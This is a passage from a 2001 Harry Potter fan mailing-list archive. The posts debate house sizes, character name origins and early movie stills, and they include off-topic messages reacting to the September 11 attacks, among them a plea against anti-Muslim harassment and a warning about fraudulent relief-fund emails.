> before?  Well, I had one of those moments. :)
> 
> I was doing a crossword puzzle, and one of the answers
> was "rube" - an unsophisticated country person.  My
> *first* thought (which says something about how
> HP-obsessed I am) was, "Hey, *Rube*us Hagrid!"

I have made several nametheories.. Everyone knows this Remus & 
Romulus -thing, and Sirius star and gatekeeper of hell -thing, as 
well as everyone knows about Cornelius Fudge and Lucius Malfoy, and 
the meanings of the names are very familiar to me.. I enjoy a lot of 
these theories..





From vderark at bccs.org  Fri Sep 14 18:47:25 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Fri, 14 Sep 2001 18:47:25 -0000
Subject: Distribution of students in houses (was: Dorms)
In-Reply-To: <9nt641+oggs@eGroups.com>
Message-ID: <9ntjbt+96iu@eGroups.com>

No: HPFGUIDX 26120

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:> 
> But I don't understand the assumption that people don't exist at 
> Hogwarts unless JKR names them and shows them in action

Obviously no one is suggesting that. However, it is reasonable that 
in four years' worth of books, with all kinds of situations from 
classes to parties in the common room to feasts in the Great Hall, 
other Gryffindor students of Harry's year would have been mentioned. 
Not only are they not mentioned by name, they aren't even implied. I 
am sure there are more Hufflepuffs than Hannah, Justin, and Ernie 
even though they aren't named, since we don't spend much time with 
the Hufflepuffs. But we see almost the entire book from the point of 
view of the Gryffindors. If there were a bunch of unnamed Gryffindors 
in all those Potions classes or celebrating Quidditch victories in 
the Common Room, it is entirely logical and to be expected that at 
some point we'd have at least been told that they were there or that 
they would have spoken up in class or SOMETHING!

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon 




From shall at sfiweb.demon.co.uk  Fri Sep 14 19:44:21 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Fri, 14 Sep 2001 20:44:21 +0100
Subject: [HPforGrownups] Movie Question/ Next Books in Light of Current season
In-Reply-To: <20010914.131856.-3679003.15.mindyatime@juno.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKGEDBDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26121

Mindy asked

>I am an extreme ignoramus in such matters, as I do not watch movies.
Please forgive me if I sound like an imbecile. But I'd like to know who
>was the person who decided to make an HP movie and who makes the money
>off it. Was it JKR who hired someone to come up with a movie or was it
just some private person who saw this as a golden opportunity to shell in
>some $$$ and then consulted JKR for permission? I am not very well
informed about such stuff & that's why I ask.

I'm a copyright lawyer (although an English one, so  if the US position is
different then Heidi's your woman) so I can explain about this.

JKR as the owner of the copyright in the HP books has the rights to control
who makes a "translation" or "adaptation" of those works.
Translation/adaptation  doesn't just include foreign languages (which seem
to have have had  fairly mixed success, accordingly to the people on the
list with better linguistic skills than I have)  but into different formats
such as plays, films and even computer games.

So probably several studios wanted to make a film of HP, so went into a
bidding war with JKR (via her agent).  (As a matter of fact a friend of mine
who is in movies says his company offered 100 million several years ago and
were told they hadn't even come close). Fortunately, since by this point she
had both financial independence (a Jane Austen joke,- if you aren't a JA
fan,  it translates as "considerable wealth") and had retained her artistic
integrity, she held out for the maximum artistic control, even though I
expect it cost her a few million quid (but, there you are, if you have a lot
of the same sort of things, what's the point?).

On the subject of how she takes the series in the light of recent events I
can only point to the final act of Rupert of Hentzau (the sequel to Prisoner
of Zenda).  In that the hero has a difficult moral choice.  He reaches a
decision but is killed before saying what it is.  The old family servant
says "Whatever Mr Rassendyll would have decided, we can be sure it would
have been the right thing to do."

Hopefully we will in fact find out what JKR's right thing was while she is
still breathing, but I am equally confident that it will be the Right Thing.

Susan

Susan







From pennylin at swbell.net  Fri Sep 14 19:53:17 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Fri, 14 Sep 2001 14:53:17 -0500
Subject: [HPforGrownups] Re: Distribution of students in houses (was: Dorms)
References: <9nt641+oggs@eGroups.com>
Message-ID: <3BA2602D.3050108@swbell.net>

No: HPFGUIDX 26122

Hi --

cynthiaanncoe at home.com wrote:

> 
> But I don't understand the assumption that people don't exist at
> Hogwarts unless JKR names them and shows them in action.  If I read a
> novel about a fictional law firm, the author doesn't have to
> introduce me to every document clerk.  I just assume there are other
> people in the setting aside from the main characters. 
> 
> In HP, there are a staggering number of named characters and stock
> characters, and I think there could be lots of "placeholder"
> characters.  How can we rule out the possibility that there are not
> additional teachers of transfiguration, etc. and other sections of
> students?  Forgive me if this has already been discussed somewhere,
> but I haven't seen a satisfactory explanation. 

Well, this is certainly possible.  But, it is fairly clear that there 
are about 40 Gryffindors in Harry's year, unless there are a 
disproportionate number of Ravenclaws.  We have 8 (possibly 10 if you 
believe there are 2 unnamed female Gryffindors in the Boggart lesson in 
PoA) Gryffindors in Harry's year.  One reason we can be pretty sure that 
there are only the 5 boys in Harry's year can be found in CoS: "Harry 
was joined by *the* other Gryffindor boys (not *some* of the other 
Gryffindor boys).  How do I get to the 40 number you ask?  Well, when 
Harry's 8-10 Gryffindors have Herbology with the Hufflepuffs of his 
year, there are 20 earmuffs.  When Harry has Potions or flying lessons 
with the Slytherins, there are 20 cauldrons and 20 brooms, respectively. 
  This suggests that in Harry's year, there are about 8-12 students per 
House.  Harry & the Gryffindors have no lessons with the Ravenclaws, so 
it's possible that there are lots of Ravenclaws, enough to bring up the 
total to 143 students in Harry's year (to get to the 1000 students at 
Hogwarts figure).  But, this seems very unlikely to me.

As for there being other unnamed teachers, this is possible.  Although 
the descriptions of the Staff table sort of work against that theory IMO.

If you haven't already, check out the Hogwarts FAQ (full of interesting 
tidbits we've debated before):

http://www.i2k.com/~svderark/lexicon/faq/hogwarts.html

Penny





From DaveH47 at mindspring.com  Fri Sep 14 19:58:12 2001
From: DaveH47 at mindspring.com (Dave Hardenbrook)
Date: Fri, 14 Sep 2001 12:58:12 -0700
Subject: OT: Fwd: All Muslims Are Not Death Eaters or Phanfasms!
Message-ID: <6870694788.20010914125812@mindspring.com>

No: HPFGUIDX 26123

I was sent this by good friend, and as I think it's very important,
I've decided to post it, even though it's way OT...

===8<==============Original message text===============

From: Julie Stauffer <juliestauffer at yahoo.com>
To: Carol Tiveron <greenwithnv at home.com>
Date: Friday, September 14, 2001, 10:44:16 AM
Subject: We are united, they are divided

"I am a prisoner in my home.  I can't go outside.  My
daughter's school was shut down because of the fear that someone
would try to harm those children. My neighbors are outside, they
hate me anyway.

I honestly fear that they are doing something to my car or that
they will do  something to us when we come outside, because,
eventually, we will have to leave the house.

Were those pictures from Palestine outrageous? Yes.
But were you seeing  the whole truth? Think about it.  I saw the
footage... on CNN and MSNBC, and also on an Arabic satellite channel,
Jazeera, which is like CNN for Arabs.  What I saw on Jazeera and
other Arab stations was NOT what I saw
on American tv. On American TV I saw a group of about 15 people,
mostly children, cheering, waving flags for the cameras, and
jumping around.  I saw this tape being played over and over again.
I heard the commentators first say that it was an Arab Israeli
village. Then they  said it was in Nablus, in Occupied Territories.
THEN they said it is in Jerusalem.  I'm sure later today, they'll say
it was in Brooklyn.

What I saw on Jazeera and other channels was this... those
15 people, doing their thing.  Then I saw dozens of Palestinians
shaking their heads in disgust and walking away, I saw Palestinians
booing the people who were celebrating.  I saw the Palestinian police
come and break the celebration up, only a few minutes into it.  I saw
members of the P.A. gov't denouncing this celebration.

Did you see that part?

Here's the 411: Suicide is against Islam, killing non-
combatants is against Islam, killing women, children, old men,
servants, monks and priests, this is all against Islam.  IF the
acts yesterday were carried out by so-called "Muslims," expect
the Muslims to be first in line denouncing and condemning them
(as our major organizations already are).  Our religion teaches
that there is a place in the HELLFIRE for "people" who do things
like what happened yesterday.  We are there praying not just for
the MUSLIM victims of the violence (there are hundreds of Muslims
who work in the WTC, Muslim police, Muslim firefighters, doctors,
nurses, engineers, and so on), but for ALL the
victims and their families.  WE ARE HUMAN TOO, whether we
are here or in Kabul or Palestine.  We bleed the same as you, and we
cry the same as you.

Don't believe the hype people.  Even if the ... dogs
who did this were named Ahmed or Usama.. it wasn't me, it wasn't Joe
Palestinian, it wasn't your Muslim doctor or your Muslim co-worker.
I am asking everyone out there to speak up against the anti
Muslim, anti Arab rhetoric we are hearing all over the country today.
I am asking you to step in when you see a Muslim women in  hijab
(trad'l dress) being harrassed.  I am asking you to speak up against the
rhetoric on tv and radio, of restricting civil rights, of legalizing
profiling of Muslims and Middle Easterners.  I am asking you to speak out
against any harrassment and violence against Muslims and MEers in
your cities.

We need to show both the "people" who did this and the people now
comparing Arabs to Satan (Fox News) that we, as Americans
of all faiths and no faiths, we are BETTER than that.

My sister said the same thing. She lives in Brooklyn.
Some of the Palistinians who have immigrated to our country had
been calling America the Great Satan or something like that.
Gee, I know all of us Mozlems and Ay-rabs look alike
to you, but please stop.

I've never heard Palestinians, especially the ones
who come here, say 'Great Satan.' That is a term used by
revolutionary Iranians and Iraqi supporters of the Ba'ath Party
(Saddam's party).  The political views held by those two groups
are NOT held by the vast majority of Muslims or Ay-rabs.
In fact, we have as many diverse viewpoints, politically and
culturally, as anyone else does (gasp).  We're not some
bearded and black veiled monolith saying 'Down with America!'
I've never known a Palestinian here, and yes, I have had
Palestinians in my own home (gasp again!) to be anything
but law abiding,  people who want to be citizens of our
country, people who own businesses here, and work here, who pay
taxes, and go to school here and raise their kids here, and
GUESS WHAT?  Normal people like me, like my
friends, WE ARE THE MAJORITY of this Arab and Muslim
community, it is NOT the other way around. Those sick dogs like
Usama bin Ladin, he does NOT speak for us.

For what it's worth (probably not a lot, since I'm
one of 'them'), I've never heard any Muslim -- Ay-rab, Pakistani,
African, European (oh, you mean, there are Muslims in Europe??) or
American -- say 'Great Satan,' or say stuff like that.
You're right we are in fear.  We're in fear that
people who think it is their "patriotic duty" will attack us after
listening to the hate rhetoric being spewed in the media and in the
diners of America.  I can't leave my home. I can't send my daughter to
school.  

Yes, God help me, because I wear a head veil, and God reward me for
that too. God help my husband because he has a beard.  We are Americans
just as much as you are, and we should have the right to go to the store
without being spit upon or kicked and punched.  Yes, we have to stay out
of the streets because we remember Oklahoma City, we  remember more than
200 Muslims and Arab Americans being beaten and assaulted and harassed
(and those were just the ones who filed police reports) until it was
revealed that (oops) the perpetrator was a White Christian veteran and
not some swarthy and dark and mysterious Ay-rab or Mozlem.

We are crying too.  We are in mourning too.  There were Muslims of all
nationalities working there, hundreds of them.  There are Muslim
firefighters, cops, EMTs, doctors, nurses, structural engineers,
construction and sanitation workers down there in the trenches of
Manhattan trying to save any survivors.

Remember that when you're talking about "them."  I am the
"them," and so are your neighbors, co-workers, doctors, and
teachers.  We are 7 million in this country.  We are not the "other,"
we are as much a part of American society as you or anyone else.


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/

===8<===========End of original message text===========




From avatar7 at uole.com.ve  Fri Sep 14 20:29:12 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Fri, 14 Sep 2001 16:29:12 -0400
Subject: [HPforGrownups] MOVIE: Vanity Fair layout observations
In-Reply-To: <95774A6A6036D411AFEA00D0B73C864303B05420@exmc3.urmc.rochester.edu>
References: <95774A6A6036D411AFEA00D0B73C864303B05420@exmc3.urmc.rochester.edu>
Message-ID: <01091416291205.03965@sysop>

No: HPFGUIDX 26124

On Date Friday 14 September 2001 01:22, You Wrote:
> Well, after a week and a half of searching for it (and two days of wanting
> it only as a distraction), I found the Vanity Fair here in my own
> building's bookstore...




(sigh!!)  (sigh!!)  (sigh!!)  (sigh!!)  (sigh!!)  (sigh!!)  (sigh!!)  


I Can only do that until I have the sight of that Vanity Fair issue here in 
Caracas, Venezuela. :)

Best wishes...


-- 
------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From cynthiaanncoe at home.com  Fri Sep 14 20:30:36 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 14 Sep 2001 20:30:36 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9nthnv+obbd@eGroups.com>
Message-ID: <9ntpdc+2cqk@eGroups.com>

No: HPFGUIDX 26125

--- In HPforGrownups at y..., "Mirzam Black" <mirzamblack at y...> wrote:
> Andrea wrote:
> > You know how sometimes things will just jump out at
> > you and you wonder why you never thought of them
> > before?  Well, I had one of those moments. :)
> > 
> > I was doing a crossword puzzle, and one of the answers
> > was "rube" - an unsophisticated country person.  My
> > *first* thought (which says something about how
> > HP-obsessed I am) was, "Hey, *Rube*us Hagrid!"
> 
> I have made several nametheories.. Everyone knows this Remus & 
> Romulus -thing, and Sirius star and gatekeeper of hell -thing, as 
> well as everyone knows about Cornelius Fudge and Lucius Malfoy, and 
> the meanings of the names are very familiar to me.. I enjoy a lot 
of 
> these theories..

Uh oh.  I get Sirius star, Remus, Lucius.  But what's this about 
Sirius and "gatekeeper of hell"?  And is the name reference to Fudge 
simply that politicians are known to "fudge" the truth, or is it 
something else.

Cindy (who thought she had a handle on this)




From pengolodh_sc at yahoo.no  Fri Sep 14 20:45:43 2001
From: pengolodh_sc at yahoo.no (=?iso-8859-1?q?Christian=20Stub=F8?=)
Date: Fri, 14 Sep 2001 22:45:43 +0200 (CEST)
Subject: Warning (OT):  Phoney fundraising in wake of WTC-disaster.
Message-ID: <20010914204543.846.qmail@web10803.mail.yahoo.com>

No: HPFGUIDX 26126

First, my most sincere condolences to those personally struck by the tragedies in New
York and WTC.

Sadly, in the midst of this tragedy, there are those seeking to make financial profit
from it.

Coalition Unsolicited Commercial Emaol (CAUCE) and SpamCon Foundation warn that phoney
companies are sending out false emails asking for contributions.  Messages titled
"Victims Survivor Funds" and "Express Relief Fund" are examples.  The mails ask for money
for the benefit of those left behind after the tragedies at WTC and the Pentagon, but
these money will go straight to the swindlers' bank-accounts.  The police and FBI does
not yet have conclusive evidence that this exists, but want tips from the public.

Best regards
Christian Stub

______________________________________________________
Do You Yahoo!?
Organiser sammenkomsten p http://no.invites.yahoo.com



From meboriqua at aol.com  Fri Sep 14 21:22:46 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Fri, 14 Sep 2001 21:22:46 -0000
Subject: Distribution of students in houses (was: Dorms)
In-Reply-To: <9ntjbt+96iu@eGroups.com>
Message-ID: <9ntsf6+chgn@eGroups.com>

No: HPFGUIDX 26127

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:

 If there were a bunch of unnamed Gryffindors 
> in all those Potions classes or celebrating Quidditch victories in 
> the Common Room, it is entirely logical and to be expected that at 
> some point we'd have at least been told that they were there or that 
> they would have spoken up in class or SOMETHING!>

Hi Everybody -

It's good to see the discussion here turning a bit back towards Harry 
and I'm glad to add something.  In PoA, when the Gryffindors have 
their first DADA class with Lupin, quite a few students fight the 
boggart - I get the feeling that not all of them are students we know 
by name.

There are other examples of unnamed students speaking up: in GoF, 
students shout out what they think the Beauxbatons carriage is before 
they see it.  I know there was another example but I can't remember it 
right now.

I have to agree with Cynthia - there are plenty of students whose 
presence is implied.  I do simply assume that they are there, just as 
I assume there are more than just 3 dorm rooms (Harry's, Hermione's 
and the twins') beyond the Gryffindor common room.  I feel like 
someone posted something just like this, maybe in the Lexicon?

--jenny from ravenclaw, knowing she'll never *really* get back to 
normal but trying to anyway ***************************************

Thanks again for everyone who has emailed or posted their best wishes 
and condolences.  Seeing the flowers, moments of silence and pledges 
to help from all over the world always touches




From bess_va at lycos.com  Fri Sep 14 22:26:35 2001
From: bess_va at lycos.com (bess_va at lycos.com)
Date: Fri, 14 Sep 2001 22:26:35 -0000
Subject: OT- 3 minute silence
In-Reply-To: <9nslfa+s377@eGroups.com>
Message-ID: <9nu06r+uir2@eGroups.com>

No: HPFGUIDX 26128

thank you
and thank you in the rest of the world
I saw this site and couldn't stop crying - it's photos from all over 
the world and the show of support we've received
www.fatwallet.com/thankyou.htm
I'll go back to lurking now

--- In HPforGrownups at y..., "Sofie " <sofie_elisabeth at y...> wrote:
I'd just like to say that it is now more tan ever that we need to act 
as a global nation instead of as separate countries.
> Love Sofie




From blpurdom at yahoo.com  Fri Sep 14 22:56:14 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 14 Sep 2001 22:56:14 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9ntpdc+2cqk@eGroups.com>
Message-ID: <9nu1ue+hil2@eGroups.com>

No: HPFGUIDX 26129

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

> Uh oh.  I get Sirius star, Remus, Lucius.  But what's this about 
> Sirius and "gatekeeper of hell"?  And is the name reference to 
Fudge simply that politicians are known to "fudge" the truth, or is 
it something else.

Cerberus is actually the name of the three-headed dog guarding the 
entrance to Hades.  JKR must have thought it funny to name Hagrid's 
thre-headed dog something as benign as "Fluffy."  It reflects 
Hagrid's attitude toward dangerous beasts. (Fantastic Beasts is full 
of funny things about this, ostensibly written by Ron and Harry.) 

--Barb






From klhurt at yahoo.com  Sat Sep 15 04:35:18 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Fri, 14 Sep 2001 21:35:18 -0700 (PDT)
Subject: [HPforGrownups] MOVIE: Vanity Fair layout observations
In-Reply-To: <95774A6A6036D411AFEA00D0B73C864303B05420@exmc3.urmc.rochester.edu>
Message-ID: <20010915043518.38236.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 26130

--- "Hillman, Lee" <lee_hillman at urmc.rochester.edu> wrote:

[SNIP]
>Second, I've commented before about
>the long tables--in most Medieval
>halls, they are oriented the only way
>possible, despite Rowling's
>description. No problem with that
>change

Also, the students sit on chairs in the Great Hall, not benches as the
movie shows.

[SNIP]
>The wall sconces are held in the
>mouths of beast-like gargoyles.

Wouldn't they, technically, be grotesques?

[SNIP]
>Richard Harris

Sir Richard is an incredibly gifted actor if -- and that's a *very* big
if -- he has a strong director to control him.  I'm afraid that Mr.
Colombus might not be up to it and Harris will be a little over-the-top
with his Dumbledore.

[SNIP]
>Dame Maggie Smith is totally perfect.

When isn't she?:-)

>I know others disagree, but she has
>always been the person whom I picture
>as McGonagall. 

Me too!
[SNIP]

>Note to SCAdians on this list: both
>her costume and Nick's look great.

Is Sir Nicholas de Mimsy-Porpington's costume from _four_ hundred or
_five_ hundred years ago?  What about the one described in the books?

[SNIP]
<description of Quidditch gear>

Aaaarrrrggghhh!  They play in ROBES!  See the last drawing in QTTA --
drawn by Ms Rowling herself -- for proof.

[SNIP]
>I'd rather not have the Unicorn
>Tapestry wall paper. 

No book handy, but isn't it supposed to be stone walls with REAL
tapestries?

>Ron looks suitably smudged from having
>been thrown down a dirt shaft, tangled
>up in roots, and then set on fire. 

Fire?  What fire?  Ron doesn't go near the fire!

Kelly the Yarn Junkie

=====
Pensieve
A New Harry Potter Discussion Group
for Adults
Low Traffic - High Quality
http://groups.yahoo.com/group/pensieve

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From katzefan at yahoo.com  Sat Sep 15 04:40:32 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Sat, 15 Sep 2001 04:40:32 -0000
Subject: MOVIE: Vanity Fair layout observations
In-Reply-To: <20010915043518.38236.qmail@web14204.mail.yahoo.com>
Message-ID: <9num40+7l79@eGroups.com>

No: HPFGUIDX 26131

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> 
> >Ron looks suitably smudged from having
> >been thrown down a dirt shaft, tangled
> >up in roots, and then set on fire. 
> 
> Fire?  What fire?  Ron doesn't go near the fire!
> 
> Kelly the Yarn Junkie


When Ron and Harry are snarled in the Devil's Snare, Hermione 
'muttered something and sent a jet of the same bluebell flames 
she had used on Snape at the plant' which then retreats. Ron 
(and Harry) might have gotten a little soot-dusted from that.




From klhurt at yahoo.com  Sat Sep 15 04:46:49 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Fri, 14 Sep 2001 21:46:49 -0700 (PDT)
Subject: [HPforGrownups] Re: MOVIE: Vanity Fair layout observations
In-Reply-To: <9num40+7l79@eGroups.com>
Message-ID: <20010915044649.39300.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 26132

--- katzefan at yahoo.com wrote:

>When Ron and Harry are snarled in the
>Devil's Snare, Hermione 'muttered
>something and sent a jet of the same
>bluebell flames she had used on Snape
>at the plant' which then retreats. Ron
>(and Harry) might have gotten a little
>soot-dusted from that.

I actually thought of this, but the rest of her comment made me
suspicious that it is just one more thing the film's got wrong.

Kelly the Yarn Junkie

=====
Pensieve
A New Harry Potter Discussion Group
for Adults
Low Traffic - High Quality
http://groups.yahoo.com/group/pensieve

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From catlady at wicca.net  Sat Sep 15 05:27:53 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 15 Sep 2001 05:27:53 -0000
Subject: Ravenclaws (was Distribution of students in houses (was: Dorms)
In-Reply-To: <9nrd44+n1me@eGroups.com>
Message-ID: <9nuosp+ggt7@eGroups.com>

No: HPFGUIDX 26133

--- In HPforGrownups at y..., frantyck at y... wrote:

> And: do we know many Ravenclaw boys? I get the feeling that we know 
> more Ravenclaw girls than we do boys, 

Roger Davies, Fleur's date for the Yule Ball, was Ravenclaw 
Quidditch Captain, and PoA says that Cho was the only girl on the 
Ravenclaw team. 

The Sorting Hat scene in Book 1 includes Terry Boot is Sorted into 
Ravenclaw and the Ravenclaws shake 'his' hand. 




From jkusalavagemd at yahoo.com  Sat Sep 15 06:02:09 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sat, 15 Sep 2001 06:02:09 -0000
Subject: OT: Fwd: All Muslims Are Not Death Eaters or Phanfasms!
In-Reply-To: <6870694788.20010914125812@mindspring.com>
Message-ID: <9nuqt1+di3e@eGroups.com>

No: HPFGUIDX 26134

--- In HPforGrownups at y..., Dave Hardenbrook <DaveH47 at m...> wrote:
> I was sent this by good friend, and as I think it's very important,
> I've decided to post it, even though it's way OT...
>
> ===8<==============Original message text===============
>
> From: Julie Stauffer <juliestauffer at y...>
> To: Carol Tiveron <greenwithnv at h...>
> Date: Friday, September 14, 2001, 10:44:16 AM
> Subject: We are united, they are divided

> Yes, God help me, because I wear a head veil, and God reward me for
> that too. God help my husband because he has a beard.  We are Americans
> just as much as you are,


I hated to snip even one word of the original post, I hope that those
who have not read it will do so.  I am unashamedly proud of America.
I know in my heart that it is the noblest experiment in liberty ever
to grace the Earth.  Americans have not always acted perfectly, but we
have tried to live up to the ideals we profess.  Our great strength is
that all who come here and strive to profess these same ideals become
Americans-- Not Arab-Americans, Polish-Americans, Chinese-Americans,
and so forth.  This isn't simply rhetoric, this is reality.

Today our Congress has passed legislation condemning the outrageous
attacks upon Americans who come from the same part of the world as the
terrorists.  We remember our mistake with Japanese-Americans in WWII,
and we will not repeat it.  Those Unamerican fools who have acted so
abominably are repudiated. They should go report to the ranks of the
terrorists, because, by these hateful acts, they are doing the
terrorists' work for them.  They need to relearn what this wonderful
country really is, and what Americans and America stands for.

I personally will not tolerate any such actions or any such speech,
and I will interpose my body in defense of any American so threatened.

Haggridd
  




From lake4fam at earthlink.net  Sat Sep 15 07:10:08 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Sat, 15 Sep 2001 07:10:08 -0000
Subject: OT response to Hardenbrook, Stauver, & Tiveron
Message-ID: <9nuusg+6vgd@eGroups.com>

No: HPFGUIDX 26135

     If someone is the type of person to go off half-cocked 
against "Arabs" (blanket shorthand for Palestinians,Afghanis, 
Egyptians, etc.,) then that someone would not be intelligent enough 
to be involved with this group.  It is only the ignorant who cannot 
discern the difference between a naturalised American"Arab" and a 
rabid fanatic raised and trained do be able to perpetrate such acts 
as occurred on Tuesday.
     If these neighbors of ours were that type, they would never have 
come openly to this country, earned US citizenship, and made new 
lives under this country's laws.  They would still be in their land 
of birth, teaching their children to hate us for the very reasons for 
which they came here to live.
     





From neilward at dircon.co.uk  Sat Sep 15 10:34:04 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 15 Sep 2001 11:34:04 +0100
Subject: The Figg Factor + some thoughts on Remus
Message-ID: <00e601c13dd1$f2938d60$a13470c2@c5s910j>

No: HPFGUIDX 26136

We were discussing Mrs Figg a while back and I never did get round to
posting a few interesting things I found on the internet.  Forgive my
ramblings and attempts to make the most tenuous of connections seem highly
significant, but with JKRs apparent depth of research, you never know

FIGG AND LUPIN/TWINS

**In legend, Romulus and Remus are orphaned when their mother, Silvia, is
imprisoned and the infants are cast into the Tiber River. They are set
ashore when they catch on the roots of an ancient fig tree and are found by
a she-wolf and a woodpecker. The twins are fed and nursed by the animals,
until Faustulus, the king's herdsman finds them and raises them with his
wife.**

How might this story tie into the relationship between Remus Lupin and
Arabella Figg?  They are both members of the old crowd (You are to alert
Remus Lupin, Arabella Figg, Mundungus Fletcher - the old crowd [Dumbledore,
GoF]), so they know each other.  Does the ancient legend of Romulus and
Remus point to a protective or nurturing role for the 'ancient' Figg when
Lupin first became a werewolf?  In PoA, Lupin says: "I was a very small boy
when I received the bite. My parents tried everything, but in those days
there was no cure.

Q: Is Remus Lupin the real name of Remus Lupin or did he take on this very
apt name when he became a werewolf?   How might he be related to Arabella
Figg or any other HP characters?

Ill risk presenting (once again) my rather obvious theory that Remus has a
twin brother (probably evil), called Romulus Lupin, who will play a part in
future books.   JKR already has two sets of twins in the story and she hasn
t yet played with the potential for confusion there.

Q: While Im on twins, are Parvati and Padma identified as identical twins 
I cant recall.

FIGG THE HEALER & PROTECTOR

** Pliny of Rome said: "Figs are restorative. The best food that can be
eaten by those who are brought low by long sickness and are on the way to
recovery. They increase the strength of young people, preserve the elderly
in better health and make them look younger with fewer wrinkles". **

Okay, this is a bit more likely.  Perhaps Mrs Figg looks after convalescent
wizards and witches, either literally, or as a herbalist or healer.   This
ties in with the idea of her affording protection and aiding recovery or
development by building strength and immunity.  She would, therefore, be the
natural person to care for Harry when he was not under the protection of 4
Privet Drive (I believe that Dumbledores ancient magic is cast over the
Dursleys house: Not even I can touch him there . . . [Voldemort, GoF])
and it may be that shes seconded to the Muggle world to be on hand for him.

FIGG THE INFORMER

**The term "sycophant" has its origins in ancient Greece. Athenians were
particularly fond of figs and were nicknamed "sycophants" (syke or
fig-eaters).    However, in its modern origins the word derives from
informer, arguably because of an association with people who informed on
illegal importers of figs. **

This is another theory weve batted about, that Mrs Figg is a spy for the
old crowd, keeping an eye on the Dursleys, or perhaps with a broader purpose
of keeping the MoM informed of happenings, or dark arts abroad, in the
Muggle world.

I like to think of Arabella operating a safe house for aurors, MoM officials
and other agents of the wizarding world, as they seek out dark wizards
hiding out in Muggle territory.  Perhaps her house is a conduit between the
two worlds, where she provides survival packs, suitable (or unsuitable )
Muggle clothing and cups of restorative tea, before dispatching hapless
wizards into the Surrey suburbs.

Neil
_______________________________________
Flying Ford Anglia






From jferer at yahoo.com  Sat Sep 15 11:14:13 2001
From: jferer at yahoo.com (jferer at yahoo.com)
Date: Sat, 15 Sep 2001 11:14:13 -0000
Subject: Distribution of students in houses (was: Dorms)
In-Reply-To: <9ntsf6+chgn@eGroups.com>
Message-ID: <9nvd65+qt6d@eGroups.com>

No: HPFGUIDX 26137

Jenny:"In PoA, when the Gryffindors have their first DADA class with 
Lupin, quite a few students fight the boggart - I get the feeling that 
not all of them are students we know by name."

Quidditch games are another good example, where the pitch has to be 
much larger than a soccer field, for example. (Picture fourteen people 
flying around in the space of a soccer field. Mid-air collisions 
galore). We're always told there's a big crowd.

You can't squeeze a school year into 300+ pages without leaving out 
about 90% of what goes on. If a character isn't relevant, the 
character isn't there.






From jferer at yahoo.com  Sat Sep 15 11:47:13 2001
From: jferer at yahoo.com (Jim Ferer)
Date: Sat, 15 Sep 2001 11:47:13 -0000
Subject: House Size
In-Reply-To: <006c01c13ced$427d2ce0$dcc71bce@hppav>
Message-ID: <9nvf41+dn3p@eGroups.com>

No: HPFGUIDX 26138

Eric:"I've always thought that the reason we only see a few 
Gryffindors, a few Slytherins, and so on is because the houses are 
divided further than just by year.  It's possible that students of 
roughly the same talent-level are grouped together, or they just have 
quite a few rooms for each year's intake of students, and you go to 
classes not just by houses but by your room."

Intriguing, but there's no evidence for it in canon, and JKR's wording 
always seems to indicate that the five in Harry's room represent all 
of Gryffindor for the year. I concede that JKR doesn't come out and 
*say* so.

OTOH, it doesn't seem incredible that there could be more Hufflepuffs 
and Ravenclaws than Gryffindors and Slytherins. You can imply evidence 
that Gryffindor and Slytherin are elite  - they're the bravest or most 
ruthless - and they pass the House Cup back and forth between the two, 
it seems. Cedric was going to bring Hufflepuff the kind of glory it 
hadn't had in years. 

Besides, it seems reasonable that there's a lot more people in this 
world who do the work (Ravenclaws and Hufflepuffs) than get the glory 
(Gryffindors) or at least the notoriety (Slytherins). (Starting to 
sound like _Brave New World_, doesn't it? 'I'm so glad I'm a Beta...')

Of course, there isn't one shred of evidence for this hypothesis.

Eric:"I'm quite sure that had HP and his pals been at the site of the 
WTC attack, they'd have been pulling people out of the windows the 
firemen couldn't reach and getting them to the ground via 
broomstick...and the devil take the risk of Azkaban.  For somebody as 
nice as they are, the knowledge that they could have done something, 
but didn't because of some fiddling wizard law, would have been worse 
torment than anything a dementor could ever have done."

I've always been interested in what would happen if our world found 
out that the wizard world was real, and I see problems. What you said 
touches on the problem. I fear that if we did find out wizards were 
real, there would be rapidly growning jealousy and resentment for 
everything in the world the wizards could have "fixed" but didn't. 

The next step would be that people would think wizards were running 
the world behind the scenes to suit themselves. An awful lot of people 
look for the invisible puppeteers messing up their lives, whether 
they're members of the Tripartite Commission or the UN, or flying 
